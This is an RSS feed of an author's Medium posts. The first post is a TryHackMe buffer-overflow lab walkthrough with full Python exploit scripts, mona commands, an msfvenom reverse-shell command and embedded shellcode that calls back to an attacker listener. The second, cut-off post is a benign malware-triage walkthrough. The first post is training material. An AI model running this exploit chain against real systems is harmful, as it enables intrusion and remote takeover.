<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by NGPTS on Medium]]></title>
        <description><![CDATA[Stories by NGPTS on Medium]]></description>
        <link>https://medium.com/@MSRedha?source=rss-7d8db7e5f195------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by NGPTS on Medium</title>
            <link>https://medium.com/@MSRedha?source=rss-7d8db7e5f195------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 11:27:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@MSRedha/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Easy Buffer OverFlow exploitation with ImmunityDebugger and mona plugin | TryHackMe Buffer Overflow…]]></title>
            <link>https://medium.com/@MSRedha/easy-buffer-overflow-exploitation-with-immunitydebugger-and-mona-plugin-tryhackme-buffer-overflow-20023e06b65b?source=rss-7d8db7e5f195------2</link>
            <guid isPermaLink="false">https://medium.com/p/20023e06b65b</guid>
            <dc:creator><![CDATA[NGPTS]]></dc:creator>
            <pubDate>Wed, 17 May 2023 14:14:33 GMT</pubDate>
            <atom:updated>2023-05-17T14:34:50.668Z</atom:updated>
            <content:encoded><![CDATA[<h3>Easy Buffer OverFlow exploitation with ImmunityDebugger and mona plugin | TryHackMe Buffer Overflow OSCP Prep</h3><p>In this TryHackMe room we are going to exploit basic buffer overflow vulnerability using ImmunityDebugger as debugging tool and mona plugin to automate some of the tasks.</p><p>Contents at a glance:</p><ul><li>Learn how to exploit basic Buffer overflow.</li><li>Getting familiar with Immunity Debugger and mona plugin.</li><li>Hands-on approach on each step of the exploitation.</li></ul><p>For better understanding, please try the challenges on your own. There is enough challenges to practice and understand the process very well. as they say “practice makes perfect”.</p><h3>Setting up the LAB</h3><h4>Selecting the challenge</h4><p>In this lab we have a binary called “oscp.exe” that contains 10 different challenges, we can select one of the challenges by running the binary using ImmunityDebugger :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7b8FK7nfvARdZSiQ" /></figure><p>Then access it using Netcat and choose the challenge, as you can see in the image below we have selected the first challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/0*1nJzVlNbNFD0rpWN" /></figure><h4>Mona Configuration</h4><p>Before we start, we need to set the working folder for mona plugins by running below command on the bottom of the debugger :</p><pre>!mona config -set workingfolder c:\mona\%p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/0*6p76ZtQ2skT9fGrm" /></figure><h3>​​Step 1 : Fuzzing</h3><p>First step in this challenge is to fuzz the input of the binary.</p><blockquote>Note : In this particular challenge we are provided with the input to fuzz, in real world scenario we have to look for the input that is vulnerable to buffer overflow.</blockquote><p>As part of the challenge, we are also provided with python script that we use to fuzz the input.</p><pre>#!/usr/bin/env python3<br><br>import socket, time, sys<br><br>ip = &quot;10.10.1.71&quot;<br><br>port = 1337<br>timeout = 5<br>prefix = &quot;OVERFLOW1 &quot;<br><br>string = prefix + &quot;A&quot; * 100<br><br>while True:<br>  try:<br>    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>      s.settimeout(timeout)<br>      s.connect((ip, port))<br>      s.recv(1024)<br>      print(&quot;Fuzzing with {} bytes&quot;.format(len(string) - len(prefix)))<br>      s.send(bytes(string, &quot;latin-1&quot;))<br>      s.recv(1024)<br>  except:<br>    print(&quot;Fuzzing crashed at {} bytes&quot;.format(len(string) - len(prefix)))<br>    sys.exit(0)<br>  string += 100 * &quot;A&quot;<br>  time.sleep(1)</pre><blockquote>Note: Do not forget to change the number in the prefix for each challenge otherwise the script won’t work as expected.</blockquote><p>we launch the script against the binary and wait for it to crash.</p><pre>python3 fuzzer.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/0*z9s_XABSRPsqxuxR" /></figure><p>Also, the debugger has stopped running and the EIP is filled with A that causes the program to crash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*p09_7ZVOkar-sdFy" /></figure><h3>Step 2 : Crash Replication &amp; Controlling EIP</h3><p>In this phase, we are going to look for the right offset where the program has crashed. we are provided with an exploitation script that we are going to use along the challenge to reach our goal.</p><p>The offset is the right amount of bytes to send before reaching the EIP. this way we can control the value of the EIP (it is very important for our exploit).</p><pre>import socket<br><br>ip = &quot;10.10.1.71&quot;<br>port = 1337<br><br>prefix = &quot;OVERFLOW1 &quot;<br>offset = 0<br>overflow = &quot;A&quot; * offset<br>retn = &quot;&quot;<br>padding = &quot;&quot;<br>payload = &quot;&quot;<br>postfix = &quot;&quot;<br><br>buffer = prefix + overflow + retn + padding + payload + postfix<br><br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br><br>try:<br>  s.connect((ip, port))<br>  print(&quot;Sending evil buffer...&quot;)<br>  s.send(bytes(buffer + &quot;\r\n&quot;, &quot;latin-1&quot;))<br>  print(&quot;Done!&quot;)<br>except:<br>  print(&quot;Could not connect.&quot;)</pre><blockquote>Note : do not forget to change the number in the prefix for each challenge otherwise the script won’t work as expected.</blockquote><h4>Generate a cyclic pattern</h4><p>In order to get the offset, we need to generate random sequence of characters and know which of these characters are the one filling the EIP register.</p><p>Fortunately, there are two Metasploit scripts that will do the heavy lifting for us, one will create the pattern (pattern_create) and the other one will provide the offset (pattern_offset).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/0*682GXbqIYa__5nF9" /></figure><p>We could also use mona to get the offset, which is the method that we will follow in this scenario.</p><p>Let’s generate the pattern, as mentioned in the room we have to generate a cyclic pattern of a length 400 bytes longer than the string that crashed the server (2000 +400).</p><pre>/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/0*Mccbmub7c9e6-mcH" /></figure><p>Once the pattern is generated, we copy it and add to the payload variable in our script.</p><pre>import socket<br><br>ip = &quot;10.10.1.71&quot;<br>port = 1337<br><br>prefix = &quot;OVERFLOW1 &quot;<br>offset = 0<br>overflow = &quot;A&quot; * offset<br>retn = &quot;&quot;<br>padding = &quot;&quot;<br>payload = &quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8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w6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9&quot;<br>postfix = &quot;&quot;<br><br>buffer = prefix + overflow + retn + padding + payload + postfix<br><br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br><br>try:<br>  s.connect((ip, port))<br>  print(&quot;Sending evil buffer...&quot;)<br>  s.send(bytes(buffer + &quot;\r\n&quot;, &quot;latin-1&quot;))<br>  print(&quot;Done!&quot;)<br>except:<br>  print(&quot;Could not connect.&quot;)</pre><p>Next, we run our exploit again in the binary.</p><blockquote>Note: Do not forget to restart the program in the debugger each time we run the exploit against it.</blockquote><pre>python3 exploit.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Yf5nCQpn2-B00F5m" /></figure><p>As you can see above, the program has crashed again and now the EIP is filled with random characters other than As.</p><p>Now, to find the offset we are going to use Mona by changing the distance to the same length as the pattern we have created in the below command :</p><pre>!mona findmsp -distance 2400</pre><p>We launch the command and we Look for the line that says:</p><p>“EIP contains normal pattern :SOMETHING (offset XXXX).&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*u2E8lIvNIXfX9HZc" /></figure><p>We could also use Metasploit pattern_offset script to obtain the same result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/0*HcBgN-GDMgEUvUTd" /></figure><p>We provide as arguments the length of our pattern (-l 2400) and the address of EIP when the program has crashed (-q 6F43396E).</p><h4>Update our exploit</h4><p>We update our exploit and run once again to confirm that we got the right offset. In this case, the EIP register should be filled with Bs (424242..).</p><pre>import socket<br><br>ip = &quot;10.10.1.71&quot;<br>port = 1337<br><br>prefix = &quot;OVERFLOW1 &quot;<br>offset = 1978<br>overflow = &quot;A&quot; * offset<br>retn = &quot;BBBB&quot;<br>padding = &quot;&quot;<br>payload = &quot;&quot;<br>postfix = &quot;&quot;<br><br>buffer = prefix + overflow + retn + padding + payload + postfix<br><br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br><br>try:<br>  s.connect((ip, port))<br>  print(&quot;Sending evil buffer...&quot;)<br>  s.send(bytes(buffer + &quot;\r\n&quot;, &quot;latin-1&quot;))<br>  print(&quot;Done!&quot;)<br>except:<br>  print(&quot;Could not connect.&quot;)</pre><p>As we can see in the below image the EIP Register is Overwritten with BBBB or 42424242.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xR86tFmb2R1BxVI0" /></figure><h3>Step 3 : Finding Bad Characters</h3><p>This step is crucial, why? because in the next step, we are going to generate some shellcode. The sequence of bytes that will allow us to exploit the vulnerability and gain a shell for instance.</p><p>Because of that some of the random bytes that we will generate contain bad characters, when the program encounters them it will stop executing.</p><p>Let’s take the simplest example which is the byte “\x00”, it’s called null byte. which is used in most programming languages to terminate a string. In our case if the program encounters this byte it will crash, so we have to exclude this byte.</p><p>Let’s see how to identify those bad characters using Mona.</p><h4>Generate a list of all characters using Mona</h4><p>First, we generate a list of characters using Mona, while excluding the known bad character (\x00).</p><pre>!mona bytearray -b &quot;\x00&quot;</pre><p>By typing the above command in the command section of the debugger, Mona will generate the characters as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nSbjgZAo457fk7pg" /></figure><p>Since we have set previously the working folder for Mona, you can check the file that contains those characters in the specific directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8bjdjyg003pRhwjO" /></figure><blockquote>Notice, there are two files, the “bytearray.bin” file will be used by Mona later on for comparison.</blockquote><h4>Update our exploit</h4><p>The next step is to generate the same list of characters using the below commands for our exploitation script :</p><pre>for x in range(1, 256):<br>  print(&quot;\\x&quot; + &quot;{:02x}&quot;.format(x), end=&#39;&#39;)<br>print()</pre><p>We copied them to the payload variable in our exploit script as follows:</p><pre>import socket<br><br>ip = &quot;10.10.1.71&quot;<br>port = 1337<br><br>prefix = &quot;OVERFLOW1 &quot;<br>offset = 1978<br>overflow = &quot;A&quot; * offset<br>retn = &quot;BBBB&quot;<br>padding = &quot;&quot;<br>payload = &quot;\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&quot;<br>postfix = &quot;&quot;<br><br>buffer = prefix + overflow + retn + padding + payload + postfix<br><br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br><br>try:<br>  s.connect((ip, port))<br>  print(&quot;Sending evil buffer...&quot;)<br>  s.send(bytes(buffer + &quot;\r\n&quot;, &quot;latin-1&quot;))<br>  print(&quot;Done!&quot;)<br>except:<br>  print(&quot;Could not connect.&quot;)</pre><h4>Run the exploit and get the ESP address</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OjAqMqA-jkrpWCtq" /></figure><p>Once we run the exploit again the program will crash eventually, and we will use the below command to get the list of bad characters by grabbing the address of the ESP where the program has crashed :</p><pre>!mona compare -f C:\mona\oscp\bytearray.bin -a 018BFA30</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OOd-3koa-0Y0w5aW" /></figure><p>The Bad characters are :<strong> 00 07 08 2e 2f a0 a1</strong></p><p>In order to confirm that those are the only bad characters, we need to repeat the steps again.</p><h4>Generate a new bytearray and exclude the new bad chars</h4><pre>!mona bytearray -b &quot;\x00\x07\x08\x2e\x2f\xa0\xa1&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BHATXs-Dgro9C8Ix" /></figure><p>We also need to exclude those bad characters from our exploit script.</p><pre>import socket<br><br>ip = &quot;10.10.1.71&quot;<br>port = 1337<br><br>prefix = &quot;OVERFLOW1 &quot;<br>offset = 1978<br>overflow = &quot;A&quot; * offset<br>retn = &quot;BBBB&quot;<br>padding = &quot;&quot;<br>payload = &quot;\x01\x02\x03\x04\x05\x06\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&quot;<br>postfix = &quot;&quot;<br><br>buffer = prefix + overflow + retn + padding + payload + postfix<br><br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br><br>try:<br>  s.connect((ip, port))<br>  print(&quot;Sending evil buffer...&quot;)<br>  s.send(bytes(buffer + &quot;\r\n&quot;, &quot;latin-1&quot;))<br>  print(&quot;Done!&quot;)<br>except:<br>  print(&quot;Could not connect.&quot;)</pre><p>This time the status is “unmodified”, which means that there is no more bad characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-T_j8Wg_QY7KQAns" /></figure><p>In the case where you find other bad characters, you have to repeat the steps until you reach the “unmodified” status.</p><p>One important thing to mention is that not all of these might be bad characters, sometimes bad characters cause the next byte to get corrupted as well, or even affect the rest of the string.</p><p>Following this statement we can omit the next bytes for each one of them, finally, we get :</p><pre>&quot;\x00\x07\x2e\xa0&quot;</pre><h3>Step 4: Finding a Jump Point</h3><p>To successfully subvert the program’s execution flow, we must write a <strong>working address at </strong><strong>EIP that leads to an instruction that will benefit us.</strong></p><p>Currently, we have only written 4 B&#39;s to EIP, which (obviously) is not a working address, and when the program attempts to go to this address, it will fail, which will lead the entire program to crash.</p><p>To find an address that we can use, we must l<strong>ook at all of the instructions used or loaded by our program, pick one of them</strong>, and write its address at EIP.</p><h4>Use Mona to find the right instruction</h4><p>Mona once again comes to the rescue, by using the below command and specifying the bad characters :</p><pre>!mona jmp -r esp -cpb &quot;\x00\x07\x2e\xa0&quot;</pre><p>Mona will provide us with a list of “jmp esp” instruction addresses that we can place one of them in the EIP register in order for us to reach the part of the stack right after the EIP where the ESP is currently pointing.</p><blockquote>Note: the addresses should not contain any bad characters otherwise the program will crash when encounter one of them.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2nw_fUVPJXNWRJ2Q" /></figure><p>We choose one of these address, and before using it we should write in little Indian format as follow :</p><p>The address :</p><pre>625011AF ==&gt; \xAF\x11\x50\x62</pre><h4>Update the exploit with the address of the instruction.</h4><pre>import socket<br><br>ip = &quot;10.10.1.71&quot;<br>port = 1337<br><br>prefix = &quot;OVERFLOW1 &quot;<br>offset = 1978<br>overflow = &quot;A&quot; * offset<br>retn = &quot;\xAF\x11\x50\x62&quot;<br>padding = &quot;&quot;<br>payload = &quot;&quot;<br>postfix = &quot;&quot;<br><br>buffer = prefix + overflow + retn + padding + payload + postfix<br><br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br><br>try:<br>  s.connect((ip, port))<br>  print(&quot;Sending evil buffer...&quot;)<br>  s.send(bytes(buffer + &quot;\r\n&quot;, &quot;latin-1&quot;))<br>  print(&quot;Done!&quot;)<br>except:<br>  print(&quot;Could not connect.&quot;)</pre><h3>Step 5 : Exploitation</h3><h4>Using msfvenom to generate the payload</h4><p>We will use the below command to generate our shellcode while excluding the bad characters :</p><pre>msfvenom -p windows/shell_reverse_tcp LHOST=10.8.92.98 LPORT=4444 EXITFUNC=thread -b &quot;\x00\x07\x2e\xa0&quot; -f c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7uXuXKxvaNI9yVm_" /></figure><h4>Integrate the payload into the script</h4><p>Our Final Exploit will be as follow :</p><pre>import socket<br><br>ip = &quot;10.10.1.71&quot;<br>port = 1337<br><br>prefix = &quot;OVERFLOW1 &quot;<br>offset = 1978<br>overflow = &quot;A&quot; * offset<br>retn = &quot;\xAF\x11\x50\x62&quot;<br>padding = &quot;\x90&quot; * 16<br>payload = (&quot;\xd9\xc9\xd9\x74\x24\xf4\xb8\x95\x25\x86\xe0\x5b\x33\xc9\xb1&quot;<br>&quot;\x52\x83\xc3\x04\x31\x43\x13\x03\xd6\x36\x64\x15\x24\xd0\xea&quot;<br>&quot;\xd6\xd4\x21\x8b\x5f\x31\x10\x8b\x04\x32\x03\x3b\x4e\x16\xa8&quot;<br>&quot;\xb0\x02\x82\x3b\xb4\x8a\xa5\x8c\x73\xed\x88\x0d\x2f\xcd\x8b&quot;<br>&quot;\x8d\x32\x02\x6b\xaf\xfc\x57\x6a\xe8\xe1\x9a\x3e\xa1\x6e\x08&quot;<br>&quot;\xae\xc6\x3b\x91\x45\x94\xaa\x91\xba\x6d\xcc\xb0\x6d\xe5\x97&quot;<br>&quot;\x12\x8c\x2a\xac\x1a\x96\x2f\x89\xd5\x2d\x9b\x65\xe4\xe7\xd5&quot;<br>&quot;\x86\x4b\xc6\xd9\x74\x95\x0f\xdd\x66\xe0\x79\x1d\x1a\xf3\xbe&quot;<br>&quot;\x5f\xc0\x76\x24\xc7\x83\x21\x80\xf9\x40\xb7\x43\xf5\x2d\xb3&quot;<br>&quot;\x0b\x1a\xb3\x10\x20\x26\x38\x97\xe6\xae\x7a\xbc\x22\xea\xd9&quot;<br>&quot;\xdd\x73\x56\x8f\xe2\x63\x39\x70\x47\xe8\xd4\x65\xfa\xb3\xb0&quot;<br>&quot;\x4a\x37\x4b\x41\xc5\x40\x38\x73\x4a\xfb\xd6\x3f\x03\x25\x21&quot;<br>&quot;\x3f\x3e\x91\xbd\xbe\xc1\xe2\x94\x04\x95\xb2\x8e\xad\x96\x58&quot;<br>&quot;\x4e\x51\x43\xce\x1e\xfd\x3c\xaf\xce\xbd\xec\x47\x04\x32\xd2&quot;<br>&quot;\x78\x27\x98\x7b\x12\xd2\x4b\x8e\xeb\x80\xe9\xe6\xe9\x38\xff&quot;<br>&quot;\xaa\x64\xde\x95\x42\x21\x49\x02\xfa\x68\x01\xb3\x03\xa7\x6c&quot;<br>&quot;\xf3\x88\x44\x91\xba\x78\x20\x81\x2b\x89\x7f\xfb\xfa\x96\x55&quot;<br>&quot;\x93\x61\x04\x32\x63\xef\x35\xed\x34\xb8\x88\xe4\xd0\x54\xb2&quot;<br>&quot;\x5e\xc6\xa4\x22\x98\x42\x73\x97\x27\x4b\xf6\xa3\x03\x5b\xce&quot;<br>&quot;\x2c\x08\x0f\x9e\x7a\xc6\xf9\x58\xd5\xa8\x53\x33\x8a\x62\x33&quot;<br>&quot;\xc2\xe0\xb4\x45\xcb\x2c\x43\xa9\x7a\x99\x12\xd6\xb3\x4d\x93&quot;<br>&quot;\xaf\xa9\xed\x5c\x7a\x6a\x0d\xbf\xae\x87\xa6\x66\x3b\x2a\xab&quot;<br>&quot;\x98\x96\x69\xd2\x1a\x12\x12\x21\x02\x57\x17\x6d\x84\x84\x65&quot;<br>&quot;\xfe\x61\xaa\xda\xff\xa3&quot;)<br>postfix = &quot;&quot;<br><br>buffer = prefix + overflow + retn + padding + payload + postfix<br><br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br><br>try:<br>  s.connect((ip, port))<br>  print(&quot;Sending evil buffer...&quot;)<br>  s.send(bytes(buffer + &quot;\r\n&quot;, &quot;latin-1&quot;))<br>  print(&quot;Done!&quot;)<br>except:<br>  print(&quot;Could not connect.&quot;)</pre><blockquote>Note 1: pay attention to the parentheses () in the payload variable, it’s important to add them otherwise the exploit won’t work.</blockquote><blockquote>Note 2: Depending on the program’s current Stack Frame and Stack Alignment, by the time our <em>JMP ESP</em> instruction is executed, the top of the stack address <em>ESP</em> may have moved slightly.</blockquote><blockquote>The first few bytes of our shellcode may get skipped, which will lead the shellcode to fail.</blockquote><blockquote>To avoid this situation, we can add a few <em>NOP</em> bytes before our shellcode, the assembly instruction <em>NOP</em> is short for <em>No Operation</em>, and it is used in assembly for things like waiting for other operations to finish.</blockquote><blockquote>As you can see we’ve added padding in our exploitation script before the shellcode.</blockquote><h4>Get a reverse shell by exploiting the buffer overflow vulnerability</h4><p>The last step is to exploit the program. First, we set up our Netcat listener :</p><pre>nc -nlvp 4444</pre><p>The next step is to run the exploit, and we get a shell as you can see below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/0*G-DzBkaFh_0WLWR4" /></figure><h3>Summary:</h3><p>Following the same steps, we can solve the rest of the challenges in the same manner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3wBYWZfDvdbwvMPS" /></figure><p>That’s it! Thank you for reading, see you in the next Room :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20023e06b65b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MalBuster | TryHackMe Room]]></title>
            <link>https://medium.com/@MSRedha/malbuster-tryhackme-room-732c5d7bc4cb?source=rss-7d8db7e5f195------2</link>
            <guid isPermaLink="false">https://medium.com/p/732c5d7bc4cb</guid>
            <dc:creator><![CDATA[NGPTS]]></dc:creator>
            <pubDate>Sun, 05 Feb 2023 09:11:37 GMT</pubDate>
            <atom:updated>2023-02-06T09:29:33.145Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*SW1QFhLVfT3uzCTIrnAt1A.png" /></figure><p>Malbuster is a TryHackme room for beginner malware analyst working on SOC, or for cybersecurity student who wants to experience how to detect if an unknown file is malicious using online and offline tools.</p><p>Contents at a glance :</p><ul><li>Using <a href="https://www.virustotal.com/gui/home/upload">VirusTotal </a>to retrieve information related to the detection.</li><li>Perform a search on <a href="https://abuse.ch/">Abuse.ch</a> to identify the nature of the detection.</li><li>Using the <a href="https://github.com/mandiant/capa">Capa </a>tool to identify the capability of the malicious binaries.</li></ul><h3>Question 1 : Based on the ARCHITECTURE of the binary, is malbuster_1 a 32-bit or a 64-bit application? (32-bit/64-bit)</h3><h4>Using Flare VM :</h4><p>How to detect if a file is 32-bit or 64-bit without executing it on Windows?</p><p>The answer is simple, using the tool SigCheck from <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck">Microsoft Sysinternals</a>. we can see that it gives us information regarding the file including the machine type:</p><pre>sigcheck.exe malbuster_1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/0*fEypvoRkIzlveSWR" /></figure><h4>Using REMnux VM :</h4><p>How to detect if a file is 32-bit or 64-bit without executing it on Linux?</p><p>We can get this information using the “file” command that comes pre-installed with most Linux distributions :</p><pre>file malbuster_1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*BH_-pNrdqChtKkml3XKoIg.png" /></figure><p>From the output, we can tell that the binary is 32 bit.</p><p><a href="http://justsolve.archiveteam.org/wiki/Portable_Executable">Note </a>:</p><ul><li>PE32 format is used by 32-bit Windows.</li><li>PE32+ format is used by 64-bit Windows.</li></ul><h3>Question 2: What is the MD5 hash of malbuster_1?</h3><h4>Using Flare VM :</h4><p>How to calculate an MD5 Hash on Windows?</p><p>We use the “<a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.3">Get-FileHash</a>” as follows :</p><pre>Get-FileHash .\malbuster_1 -Algorithm MD5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XoN6Jnhamc6yKMvb" /></figure><h4>Using REMnux VM:</h4><p>In Linux, the “md5sum” command allows calculating the MD5 hash of a file as follows :</p><pre>md5sum malbuster_1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*Ey1RfFInrAc_-DupwZQ8yg.png" /></figure><h3>Question 3: Using the hash, what is the number of detections of malbuster_1 in VirusTotal?</h3><p>Using the search option from VirusTotal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*JkUay496sV61ZAVGMhcrxA.png" /></figure><p>There is 51 detections our of 71 so far:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gIORHoKahUutDwHqgz0Eyg.png" /></figure><p>If you are not familiar with VirusTotal please take a look at this <a href="https://www.youtube.com/watch?v=WoHVM8pCfsQ">simple VirusTotal walkthrough.</a></p><h3>Question 4 : Based on VirusTotal detection, what is the malware signature of malbuster_2 according to Avira?</h3><p>Following the same steps we did for malware_1, we copy the hash into VirusTotal.</p><p>According to Avira, the malware was detected as malicious using the <a href="https://usa.kaspersky.com/resource-center/definitions/heuristic-analysis">heuristic analysis</a>, and it matched the behavior of a generic heuristic malware 